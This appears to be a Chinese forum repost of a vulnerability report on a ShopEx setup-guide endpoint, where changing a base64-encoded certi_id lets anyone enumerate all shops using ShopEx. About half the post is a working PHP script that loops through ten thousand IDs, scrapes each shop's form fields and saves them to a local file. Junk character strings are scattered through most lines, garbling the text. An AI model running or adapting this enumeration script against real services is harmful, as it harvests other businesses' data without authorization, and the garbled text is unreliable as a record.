ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
" z# r. r) |7 B7 N; [4 @详细说明：
; H" W0 B$ q( }2 [+ Z2 f问题出现在shopex 网店使用向导页面

# e- w! I. c6 K9 k" E
$ F: O/ Q/ `/ o) z  c6 T
  y# X* b$ I3 s& X8 g7 B/ Bhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
: L/ p2 Y7 Z% Z& @4 B& t2 R

$ O9 y7 ~* J& F& m8 T  X% K
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

2 s9 l1 @" a5 x! ^( G' p- f
% S, m2 G$ `$ I% M$ b1 z
* k' r# k( ?/ {6 W我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


* `8 l# d/ I0 o# _! I) r
<?php

; {9 i+ V# t" a4 i7 |) e% n1 G                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

; J/ U" B# L- F) d6 J                }

, B. e/ ^$ n9 v# A                function ShowshopExD($cid) {
2 \8 S9 M7 A0 M% S7 r7 l; w- W
9 |- G# P6 G% h$ q3 L" l! b; G                $url='http://guide.ecos.shopex.cn/step2.php';
+ h$ s# Q1 _' k4 k5 m- u7 ]3 d
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

: f+ B1 d- \" Y2 W( y1 v) d        $ch = curl_init($url);

- t" V( q( M& Q) N; F        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
3 n$ m1 J+ r9 c- Y. F8 b: q
" g- d8 V- X6 z0 G. F        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
+ I5 t% U$ A' T- O8 ?' }6 c
9 [: F4 |( V  V5 f  j        $result = curl_exec($ch);
& M) E4 T# ]4 Q
- |  c/ l$ t' P* @) l' S        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
7 y9 G. P* W/ t) X# S6 `+ w
        if(strpos($result,$refer))
2 e" J8 c6 G2 r3 h0 v
        {

8 Q; a1 V% R* t( M& b                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

2 [$ s/ g9 i5 |- N& j0 }8 X0 u                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
- x" k. c; ]% Q* v
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

3 x# j, ~- K  }% U                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

, u/ o% \" I/ d4 r. y$ m                }

/ M6 B/ r) w# Y! v                echo '--------------------------------'."\r\n";
* ~! C9 |' m' X6 d
! b6 v3 I* N5 l0 u* C& t                fclose($fp);
+ w4 S7 _( q  B( O
6 i: o: Q! T2 o2 F$ e        }

        flush();
8 A: L7 I. v+ U# E/ L" Y6 ?9 v5 \
        curl_close($ch);
0 z5 Z" U" E$ y# A
2 a' V. L) p3 v9 s" J1 ?                }
5 q/ b+ a) P' b3 N( l* j9 q) x! E
?>
漏洞证明：
+ {) Q5 o6 O6 a1 K* z9 P- V4 _http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
! i; i6 |: T; y: T, l+ |2 lrefer换成其他加密方式